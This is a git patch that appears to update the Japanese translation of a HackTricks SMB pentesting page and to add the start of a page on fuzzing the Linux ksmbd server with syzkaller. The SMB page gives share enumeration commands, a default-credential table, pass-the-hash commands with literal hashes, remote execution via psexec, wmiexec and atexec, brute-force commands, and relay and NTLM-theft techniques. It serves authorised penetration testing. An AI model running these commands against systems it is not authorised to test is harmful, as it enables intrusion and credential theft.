From ffda8c7ff7ca6cfd8aee31ca85dd20a0199683a2 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 8 Sep 2025 06:21:50 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-smb/README.md', --- src/SUMMARY.md | 1 + .../pentesting-smb/README.md | 214 +++++++++-------- ...bd-attack-surface-and-fuzzing-syzkaller.md | 218 ++++++++++++++++++ 3 files changed, 331 insertions(+), 102 deletions(-) create mode 100644 src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 793c88a81..b18b11ccd 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -494,6 +494,7 @@ - [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md) - [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md) - [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md) + - [Ksmbd Attack Surface And Fuzzing Syzkaller](network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md) - [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md) - [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md) - [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 6c3c89282..757fe9d06 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,43 +4,46 @@ ## **Port 139** -_**ネットワーク基本入出力システム**_** (NetBIOS)** は、アプリケーション、PC、およびデスクトップがローカルエリアネットワーク (LAN) 内でネットワークハードウェアと相互作用し、**ネットワークを介してデータの送信を促進する**ために設計されたソフトウェアプロトコルです。NetBIOSネットワーク上で動作するソフトウェアアプリケーションの識別と位置特定は、最大16文字の長さを持ち、コンピュータ名とは異なることが多いNetBIOS名を通じて行われます。2つのアプリケーション間のNetBIOSセッションは、1つのアプリケーション(クライアントとして機能)が**TCPポート139**を利用して、別のアプリケーション(サーバーとして機能)を「呼び出す」コマンドを発行することで開始されます。 +The _**Network Basic Input Output System**_** (NetBIOS)** は、ローカルエリアネットワーク (LAN) 内のアプリケーション、PC、およびデスクトップがネットワークハードウェアとやり取りし、**ネットワーク上でのデータ伝送を容易にする**ために設計されたソフトウェアプロトコルです。 + +NetBIOS ネットワーク上で動作するソフトウェアアプリケーションの識別と位置特定は、それらの NetBIOS 名を通じて行われます。NetBIOS 名は最大 16 文字まで許容され、しばしばコンピュータ名とは異なります。2 つのアプリケーション間の NetBIOS セッションは、一方のアプリケーション(クライアントとして動作)が他方のアプリケーション(サーバとして動作)を "call" するコマンドを発行し、**TCP Port 139** を利用することで開始されます。 ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` -## ポート 445 +## Port 445 -技術的には、ポート 139 は「NBT over IP」と呼ばれ、ポート 445 は「SMB over IP」として識別されます。略語 **SMB** は「**Server Message Blocks**」の略で、現代では **Common Internet File System (CIFS)** としても知られています。アプリケーション層のネットワークプロトコルとして、SMB/CIFS は主にファイル、プリンター、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間のさまざまな通信形態を促進するために利用されます。 +技術的には、Port 139 は ‘NBT over IP’ と呼ばれ、Port 445 は ‘SMB over IP’ として識別されます。頭字語 **SMB** は ‘**Server Message Blocks**’ を表し、現代では **Common Internet File System (CIFS)** としても知られています。アプリケーション層のネットワークプロトコルとして、SMB/CIFS は主にファイル、プリンタ、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間でさまざまな通信を行うために使用されます。 -例えば、Windows の文脈では、SMB は TCP/IP 上で直接動作できることが強調されており、ポート 445 を利用することで TCP/IP 上の NetBIOS の必要性が排除されます。逆に、異なるシステムではポート 139 の使用が観察され、SMB が TCP/IP 上の NetBIOS と共に実行されていることを示しています。 +例えば、Windows の文脈では、SMB は Port 445 を利用して TCP/IP 上で直接動作でき、NetBIOS over TCP/IP の必要性を排除できることが強調されます。逆に、他のシステムでは Port 139 の使用が見られ、SMB が NetBIOS over TCP/IP と組み合わせて実行されていることを示しています。 ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -**Server Message Block (SMB)**プロトコルは、**クライアント-サーバー**モデルで動作し、**ファイル**、ディレクトリ、およびプリンタやルータなどの他のネットワークリソースへの**アクセス**を規制するために設計されています。主に**Windows**オペレーティングシステムシリーズ内で利用され、SMBは後方互換性を確保し、新しいバージョンのMicrosoftオペレーティングシステムを搭載したデバイスが古いバージョンを実行しているデバイスとシームレスに相互作用できるようにします。さらに、**Samba**プロジェクトは、**Linux**およびUnixシステムでのSMBの実装を可能にする無料のソフトウェアソリューションを提供し、SMBを通じたクロスプラットフォーム通信を促進します。 +The **Server Message Block (SMB)** プロトコルは、**client-server** モデルで動作し、プリンタやルータなどの他のネットワークリソースと同様に、ディレクトリやファイルへの **access to files** を管理するよう設計されています。主に **Windows** 系のオペレーティングシステムで利用され、SMB は後方互換性を維持しているため、新しいバージョンの OS を搭載した端末が古いバージョンの端末とシームレスにやり取りできるようになっています。さらに、**Samba** プロジェクトは無償のソフトウェア実装を提供しており、**Linux** や **Unix** 系でも SMB を利用可能にすることで、プラットフォーム間の通信を可能にします。 -**ローカルファイルシステムの任意の部分**を表す共有は、SMBサーバーによって提供され、クライアントに対してサーバーの実際の構造とは部分的に**独立した**階層を表示します。**アクセス制御リスト (ACL)**は、**アクセス権**を定義し、**`execute`**、**`read`**、および**`full access`**などの属性を含むユーザー権限に対する**細かい制御**を可能にします。これらの権限は、共有に基づいて個々のユーザーまたはグループに割り当てることができ、サーバー上のローカル権限とは異なります。 +Shares(**arbitrary parts of the local file system** を表す)は SMB サーバによって提供され、クライアントから見た階層はサーバの実際の構造とは部分的に **independent** になります。**Access Control Lists (ACLs)** は **access rights** を定義し、ユーザ権限に対して **fine-grained control** を可能にします。これには **`execute`**, **`read`**, および **`full access`** といった属性が含まれます。これらの権限は共有ごとに個別のユーザやグループに割り当てられ、サーバ上のローカル権限とは区別されます。 ### IPC$ Share -IPC$共有へのアクセスは、匿名のヌルセッションを通じて取得でき、名前付きパイプを介して公開されたサービスと相互作用することができます。この目的には、ユーティリティ`enum4linux`が便利です。適切に利用することで、以下の情報を取得できます: +IPC$ share へのアクセスは anonymous null session を通じて取得でき、named pipes を介して公開されているサービスとやり取りすることができます。この用途にはユーティリティ `enum4linux` が有用です。適切に利用すると、以下を取得できます: - オペレーティングシステムに関する情報 - 親ドメインの詳細 -- ローカルユーザーおよびグループの一覧 -- 利用可能なSMB共有に関する情報 +- ローカルユーザとグループの一覧 +- 利用可能な SMB shares に関する情報 - 有効なシステムセキュリティポリシー -この機能は、ネットワーク管理者やセキュリティ専門家がネットワーク上のSMB (Server Message Block)サービスのセキュリティ状況を評価するために重要です。`enum4linux`は、ターゲットシステムのSMB環境の包括的なビューを提供し、潜在的な脆弱性を特定し、SMBサービスが適切に保護されていることを確認するために不可欠です。 +この機能は、ネットワーク上の SMB (Server Message Block) サービスのセキュリティ状況を評価するために、ネットワーク管理者やセキュリティ担当者にとって重要です。`enum4linux` はターゲットシステムの SMB 環境を包括的に把握する手段を提供し、潜在的な脆弱性の特定や SMB サービスが適切に保護されていることを確認する上で不可欠です。 ```bash enum4linux -a target_ip ``` -上記のコマンドは、`target_ip`で指定されたターゲットに対して完全な列挙を実行するために`enum4linux`がどのように使用されるかの例です。 +上のコマンドは、`enum4linux` を使用して `target_ip` で指定されたターゲットに対してフル列挙を実行する例です。 ## NTLMとは -NTLMが何であるか知らない場合や、その動作や悪用方法を知りたい場合は、**NTLM**に関するこのページが非常に興味深いでしょう。ここでは**このプロトコルの動作とそれを利用する方法**が説明されています: +NTLMが何か分からない場合、またはその仕組みや悪用方法を知りたい場合は、**NTLM** に関するこのページが非常に参考になります。そこでは**このプロトコルがどのように動作し、どのように悪用できるか**が説明されています: + {{#ref}} ../../windows-hardening/ntlm/ @@ -48,16 +51,16 @@ NTLMが何であるか知らない場合や、その動作や悪用方法を知 ## **サーバー列挙** -### **ホストを検索するために**ネットワークをスキャンする: +### **Scan** ネットワーク上でホストを検索する: ```bash nbtscan -r 192.168.0.1/24 ``` -### SMBサーバーバージョン +### SMB サーバーのバージョン -SMBバージョンの可能なエクスプロイトを探すには、どのバージョンが使用されているかを知ることが重要です。この情報が他の使用されているツールに表示されない場合は、次のことができます: +SMBのバージョンに対する可能なexploitsを探すには、使用されているバージョンを把握することが重要です。もしこの情報が他のツールで得られない場合、次の方法が使えます: -- **MSF**補助モジュール `**auxiliary/scanner/smb/smb_version**` を使用する -- またはこのスクリプトを使用する: +- **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` を使用する +- またはこのスクリプト: ```bash #!/bin/sh #Author: rewardone @@ -74,30 +77,30 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` -### **エクスプロイトを検索** +### **exploitを検索** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` -### **可能な** 認証情報 +### **可能な** Credentials -| **ユーザー名** | **一般的なパスワード** | +| **Username(s)** | **Common passwords** | | -------------------- | ----------------------------------------- | -| _(空白)_ | _(空白)_ | -| guest | _(空白)_ | -| Administrator, admin | _(空白)_, password, administrator, admin | +| _(blank)_ | _(blank)_ | +| guest | _(blank)_ | +| Administrator, admin | _(blank)_, password, administrator, admin | | arcserve | arcserve, backup | | tivoli, tmersrvd | tivoli, tmersrvd, admin | | backupexec, backup | backupexec, backup, arcada | | test, lab, demo | password, test, lab, demo | -### ブルートフォース +### Brute Force -- [**SMB ブルートフォース**](../../generic-hacking/brute-force.md#smb) +- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb) ### SMB 環境情報 -### 情報を取得する +### 情報の取得 ```bash #Dump interesting information enum4linux -a [-u "" -p ""] @@ -119,9 +122,9 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### ユーザー、グループ、およびログオンユーザーの列挙 +### ユーザー、グループ、ログオンユーザーの列挙 -この情報はすでにenum4linuxおよびenum4linux-ngから収集されているはずです。 +この情報は既に enum4linux および enum4linux-ng から収集されているはずです。 ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -133,7 +136,7 @@ rpcclient -U "" -N 10.10.10.10 enumdomusers enumdomgroups ``` -### ローカルユーザーの列挙 +### ローカルユーザーを列挙する [Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) ```bash @@ -149,7 +152,8 @@ use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` -### **LSARPCおよびSAMR rpcclientの列挙** +### **LSARPC と SAMR rpcclient の列挙** + {{#ref}} rpcclient-enumeration.md @@ -161,15 +165,15 @@ rpcclient-enumeration.md `xdg-open smb://cascade.htb/` -#### ファイルブラウザウィンドウ(nautilus, thunarなど)で +#### ファイルブラウザのウィンドウで (nautilus, thunar, etc) `smb://friendzone.htb/general/` ## 共有フォルダの列挙 -### 共有フォルダのリスト +### 共有フォルダの一覧 -アクセスできるものがないか確認することを常にお勧めします。資格情報がない場合は、**null** **資格情報/ゲストユーザー**を使用してみてください。 +アクセス可能なものがないか常に確認することをおすすめします。認証情報がない場合は **null** **credentials/guest user** を試してください。 ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -183,7 +187,7 @@ crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -### **共有フォルダーに接続/リスト** +### **共有フォルダに接続/一覧表示** ```bash #Connect using smbclient smbclient --no-pass /// @@ -195,11 +199,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **手動でWindows共有を列挙し、接続する** +### **手動で Windows の共有を列挙して接続する** -ホストマシンの共有を表示することが制限されている可能性があり、リストを表示しようとすると接続できる共有がないように見えることがあります。そのため、共有に手動で接続を試みる価値があるかもしれません。共有を手動で列挙するには、有効なセッション(例:ヌルセッションまたは有効な資格情報)を使用しているときに、NT_STATUS_ACCESS_DENIEDやNT_STATUS_BAD_NETWORK_NAMEのような応答を探すと良いでしょう。これらは、共有が存在するがアクセスできないか、共有がまったく存在しないかを示す可能性があります。 +ホストマシンの共有を表示することが制限されており、リストを取得しようとすると接続可能な共有がないように見えることがあります。したがって、短時間で手動で共有に接続を試みる価値があります。共有を手動で列挙する際は、有効なセッション(e.g. null session or valid credentials)を使った場合に NT_STATUS_ACCESS_DENIED や NT_STATUS_BAD_NETWORK_NAME のような応答を探すとよいでしょう。これらは、共有が存在するがアクセス権がないか、または共有自体が存在しないことを示している可能性があります。 -Windowsターゲットの一般的な共有名は次のとおりです。 +Common share names for windows targets are - C$ - D$ @@ -210,14 +214,14 @@ Windowsターゲットの一般的な共有名は次のとおりです。 - SYSVOL - NETLOGON -(_**Network Security Assessment 3rd edition**_からの一般的な共有名) +(共通の共有名は _**Network Security Assessment 3rd edition**_ より) -次のコマンドを使用して接続を試みることができます。 +You can try to connect to them by using the following command ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -このスクリプト(ヌルセッションを使用) +またはこの script(null session を使用) ```bash #/bin/bash @@ -234,12 +238,12 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD fi done ``` -例示 +例 ```bash smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Windowsからの共有を列挙する / サードパーティツールなし** +### **Windows上で共有を列挙する(サードパーティ製ツール不要)** PowerShell ```bash @@ -251,30 +255,30 @@ get-smbshare -CimSession "" # Retrieves the connections established from the local SMB client to the SMB servers. Get-SmbConnection ``` -CMDコンソール +CMD コンソール ```shell # List shares on the local computer net share # List shares on a remote computer (including hidden ones) net view \\ /all ``` -MMC スナップイン (グラフィカル) +MMC Snap-in (グラフィカル) ```shell # Shared Folders: Shared Folders > Shares fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (グラフィカル), `\\\` を入力して、利用可能な非隠し共有を表示します。 +explorer.exe(グラフィカル)、`\\\` を入力すると利用可能な非隠し共有が表示されます。 -### 共有フォルダーをマウントする +### 共有フォルダをマウントする ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` -### **ファイルをダウンロード** +### **ファイルのダウンロード** -前のセクションを読んで、資格情報/パス・ザ・ハッシュで接続する方法を学んでください。 +接続方法については前のセクションを参照し、credentials/Pass-the-Hash を学んでください。 ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -291,61 +295,61 @@ smbclient /// ``` コマンド: -- mask: ディレクトリ内のファイルをフィルタリングするために使用されるマスクを指定します (例: "" すべてのファイル) -- recurse: 再帰をオンに切り替えます (デフォルト: オフ) -- prompt: ファイル名のプロンプトをオフに切り替えます (デフォルト: オン) -- mget: ホストからクライアントマシンにマスクに一致するすべてのファイルをコピーします +- mask: ディレクトリ内のファイルをフィルタリングするためのマスクを指定します(例: "" はすべてのファイル) +- recurse: 再帰をオンに切り替えます(デフォルト: off) +- prompt: ファイル名の入力プロンプトをオフにします(デフォルト: on) +- mget: mask に一致するすべてのファイルをホストからクライアントマシンにコピーします -(_smbclientのマニュアルページからの情報_) +(_smbclient の manページからの情報_) -### ドメイン共有フォルダ検索 +### ドメイン共有フォルダの検索 - [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` -- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) スパイダー。 +- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) の spider. - `-M spider_plus [--share ]` - `--pattern txt` ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -特に興味深いのは、**`Registry.xml`** というファイルで、これは **autologon** を使用して構成されたユーザーの **パスワード** を含む可能性があります。また、**`web.config`** ファイルも **認証情報** を含んでいます。 +Shares の中で特に注目すべきは **`Registry.xml`** というファイルで、Group Policy を介して **autologon** に設定されたユーザの **passwords** を含んでいる可能性があります。また **`web.config`** ファイルにも認証情報が含まれていることがあります。 > [!TIP] -> **SYSVOL シェア** は、ドメイン内のすべての認証されたユーザーによって **読み取り可能** です。そこには、さまざまなバッチ、VBScript、および PowerShell **スクリプト** が **見つかる** かもしれません。\ -> その中の **スクリプト** を **確認** するべきです。なぜなら、**パスワード** などの機密情報を **見つける** 可能性があるからです。 +> ドメイン内のすべての認証済みユーザから **SYSVOL share** は **読み取り可能** です。そこには多くの batch、VBScript、PowerShell の **scripts** が見つかることがあります。\ +> その中の **scripts** を確認すべきで、**passwords** のような機密情報が見つかるかもしれません。 ## レジストリの読み取り -発見した認証情報を使用して **レジストリを読み取る** ことができるかもしれません。Impacket **`reg.py`** を使用して試すことができます: +見つかった資格情報を使って **レジストリを読み取る** ことができる場合があります。Impacket **`reg.py`** で試すことができます: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s ``` -## ポストエクスプロイト +## Post Exploitation -**Samba** サーバーの **デフォルト設定** は通常 `/etc/samba/smb.conf` にあり、いくつかの **危険な設定** が含まれている可能性があります: +**デフォルトの設定** の **Samba** サーバーは通常 `/etc/samba/smb.conf` にあり、いくつかの **危険な設定** を含んでいる可能性があります: -| **設定** | **説明** | -| --------------------------- | --------------------------------------------------------------- | -| `browseable = yes` | 現在の共有で利用可能な共有をリスト表示することを許可しますか? | -| `read only = no` | ファイルの作成と変更を禁止しますか? | -| `writable = yes` | ユーザーがファイルを作成および変更することを許可しますか? | -| `guest ok = yes` | パスワードを使用せずにサービスに接続することを許可しますか? | -| `enable privileges = yes` | 特定のSIDに割り当てられた権限を尊重しますか? | -| `create mask = 0777` | 新しく作成されたファイルにどの権限を割り当てる必要がありますか? | -| `directory mask = 0777` | 新しく作成されたディレクトリにどの権限を割り当てる必要がありますか? | -| `logon script = script.sh` | ユーザーのログイン時に実行する必要があるスクリプトは何ですか? | -| `magic script = script.sh` | スクリプトが閉じられたときに実行されるべきスクリプトはどれですか? | -| `magic output = script.out` | マジックスクリプトの出力をどこに保存する必要がありますか? | +| **設定** | **説明** | +| --------------------------- | ------------------------------------------------------------------- | +| `browseable = yes` | 利用可能な共有を一覧表示できるか? | +| `read only = no` | ファイルの作成と変更を禁止するか? | +| `writable = yes` | ユーザーがファイルを作成および変更できるようにするか? | +| `guest ok = yes` | パスワードを使わずにサービスへ接続できるようにするか? | +| `enable privileges = yes` | 特定の SID に割り当てられた権限を尊重するか? | +| `create mask = 0777` | 新規作成されたファイルにどの権限を割り当てるべきか? | +| `directory mask = 0777` | 新規作成されたディレクトリにどの権限を割り当てるべきか? | +| `logon script = script.sh` | ユーザーのログイン時にどのスクリプトを実行する必要があるか? | +| `magic script = script.sh` | スクリプトが閉じられたときにどのスクリプトを実行するべきか? | +| `magic output = script.out` | magic script の出力をどこに保存するか? | -コマンド `smbstatus` は **サーバー** と **接続しているユーザー** に関する情報を提供します。 +The command `smbstatus` gives information about the **サーバー** and about **誰が接続しているか**. -## Kerberosを使用して認証する +## Kerberos を使用して認証 -ツール **smbclient** と **rpcclient** を使用して **kerberos** に **認証** できます: +smbclient と rpcclient を使用して Kerberos に認証できます: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -354,7 +358,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexecは、**wmiexec**を**デフォルト**の方法として、**mmcexec、smbexec、atexec、wmiexec**のいずれかを**悪用して**コマンドを実行できます。使用したいオプションを`--exec-method`パラメータで指定できます: +crackmapexecは、**悪用して**任意の**mmcexec, smbexec, atexec, wmiexec**を利用してコマンドを実行できます。**wmiexec**が**デフォルト**の方法です。使用するオプションはパラメータ `--exec-method` で指定できます: ```bash apt-get install crackmapexec @@ -378,9 +382,9 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -両方のオプションは、**新しいサービスを作成**します(SMB経由で_\pipe\svcctl_を使用)被害者のマシンで、これを使用して**何かを実行**します(**psexec**は実行可能ファイルをADMIN$共有に**アップロード**し、**smbexec**は**cmd.exe/powershell.exe**を指し、引数にペイロードを入れます --**ファイルレス技術-**-)。\ -**詳細情報**は[**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)と[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)を参照してください。\ -**kali**では、/usr/share/doc/python3-impacket/examples/にあります。 +両方のオプションは被害者マシンに(SMB経由で_\pipe\svcctl_を使用して)**新しいサービスを作成**し、それを使って**何かを実行**します(**psexec**は実行可能ファイルをADMIN$ shareに**upload**し、**smbexec**は**cmd.exe/powershell.exe**を指して引数にpayloadを入れます --**file-less technique-**-)。\ +**詳細** は [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)。\ +**kali** では /usr/share/doc/python3-impacket/examples/ にあります ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] @@ -388,19 +392,19 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -**パラメーター**`-k`を使用すると、**kerberos**に対して認証できます。代わりに**NTLM**を使用します。 +**parameter**`-k` を使用すると、**NTLM** の代わりに **kerberos** で認証できます ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -ディスクに触れず、新しいサービスを実行せずに、**ポート135**を介してDCOMを使用してコマンドシェルを stealthily 実行します。\ -**kali**では、/usr/share/doc/python3-impacket/examples/にあります。 +ディスクに触れたり新しいサービスを起動したりせず、DCOM を介してコマンドシェルをステルスに実行します(**port 135.** 経由)。\ +**kali** では /usr/share/doc/python3-impacket/examples/ にあります ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -**パラメーター**`-k`を使用すると、**NTLM**の代わりに**kerberos**に対して認証できます。 +**パラメータ**`-k` を使用すると、**NTLM** の代わりに **kerberos** に対して認証できます。 ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -409,54 +413,60 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ``` ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) -SMBを介してタスクスケジューラを使用してコマンドを実行します (_\pipe\atsvc_ を使用)。\ -**kali** では /usr/share/doc/python3-impacket/examples/ にあります。 +Task Schedulerを介してコマンドを実行する(SMB経由で _\pipe\atsvc_ を使用)。\ +**kali**では /usr/share/doc/python3-impacket/examples/ にあります ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" ``` -## Impacketのリファレンス +## Impacket リファレンス [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -## **ユーザーの資格情報をブルートフォース攻撃する** +### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller) -**これは推奨されません。最大許可試行回数を超えるとアカウントがブロックされる可能性があります** +{{#ref}} +ksmbd-attack-surface-and-fuzzing-syzkaller.md +{{#endref}} + +## **Bruteforce users credentials** + +**これは推奨されません。許可された最大試行回数を超えるとアカウントがロックされる可能性があります。** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` -## SMBリレー攻撃 +## SMB relay attack -この攻撃は、Responderツールキットを使用して**内部ネットワーク上のSMB認証セッションをキャプチャ**し、それを**ターゲットマシン**に**中継**します。認証**セッションが成功すると**、自動的に**システム**の**シェル**に入ります。\ -[**この攻撃に関する詳細情報はこちら。**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +この攻撃は Responder toolkit を使用して内部ネットワーク上の **SMB authentication sessions** をキャプチャし、それらを **target machine** に **relays** します。認証 **session is successful** の場合、自動的に **system** **shell** に落ちます。\ +[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -WindowsライブラリURLMon.dllは、ページがSMBを介してコンテンツにアクセスしようとすると、自動的にホストに認証を試みます。例えば:`img src="\\10.10.10.10\path\image.jpg"` +Windows ライブラリ URLMon.dll は、ページが SMB 経由でコンテンツにアクセスしようとすると自動的にホストへ認証を試みます。例えば: `img src="\\10.10.10.10\path\image.jpg"` -これは以下の関数で発生します: +これは以下の関数で発生します: - URLDownloadToFile - URLDownloadToCache - URLOpenStream - URLOpenBlockingStream -これらは一部のブラウザやツール(Skypeなど)によって使用されます。 +これらは一部のブラウザやツール(Skype のような)で使用されます -![出典: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) +![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) -### MitMfを使用したSMBTrap +### SMBTrap using MitMf -![出典: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) +![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) -## NTLM窃盗 +## NTLM Theft -SMBトラッピングに似て、ターゲットシステムに悪意のあるファイルを植え付ける(例えばSMBを介して)は、SMB認証の試行を引き起こす可能性があり、NetNTLMv2ハッシュをResponderのようなツールで傍受することができます。ハッシュはオフラインでクラックするか、[SMBリレー攻撃](#smb-relay-attack)に使用できます。 +SMB Trapping と同様に、ターゲットシステム上に悪意あるファイルを配置すること(例えば SMB 経由)が SMB 認証の試行を誘発し、NetNTLMv2 ハッシュを Responder のようなツールで傍受できるようになります。そのハッシュはオフラインでクラックするか、[SMB relay attack](#smb-relay-attack) に使用できます。 -[参照: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) +[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) -## HackTricks自動コマンド +## HackTricks Automatic Commands ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md new file mode 100644 index 000000000..6d8336627 --- /dev/null +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -0,0 +1,218 @@ +# ksmbd 攻撃面と SMB2/SMB3 プロトコルのファジング (syzkaller) + +{{#include ../../banners/hacktricks-training.md}} + +## 概要 +このページは syzkaller を用いて Linux の in-kernel SMB サーバ ksmbd を実際に操作・ファズするための実践的手法を抽象化しています。設定によるプロトコル攻撃面の拡大、SMB2 操作をチェーンできるステートフルなハーネスの構築、文法的に有効な PDUs の生成、カバレッジが低いコード経路への変異バイアス付け、focus_areas や ANYBLOB といった syzkaller の機能活用に焦点を当てます。元の調査では特定の CVE を列挙していますが、ここでは再利用可能な方法論と自分の環境に適用できる具体的スニペットを強調します。 + +対象範囲: TCP 上の SMB2/SMB3。ハーネスを単純に保つため、Kerberos と RDMA は意図的に対象外です。 + +--- + +## 設定による ksmbd 攻撃面の拡張 +デフォルトの最小限の ksmbd 設定ではサーバの多くが未テストのままです。以下の機能を有効にして、追加のパーサ/ハンドラを経由し、より深いコード経路に到達させてください: + +- Global-level +- Durable handles +- Server multi-channel +- SMB2 leases +- 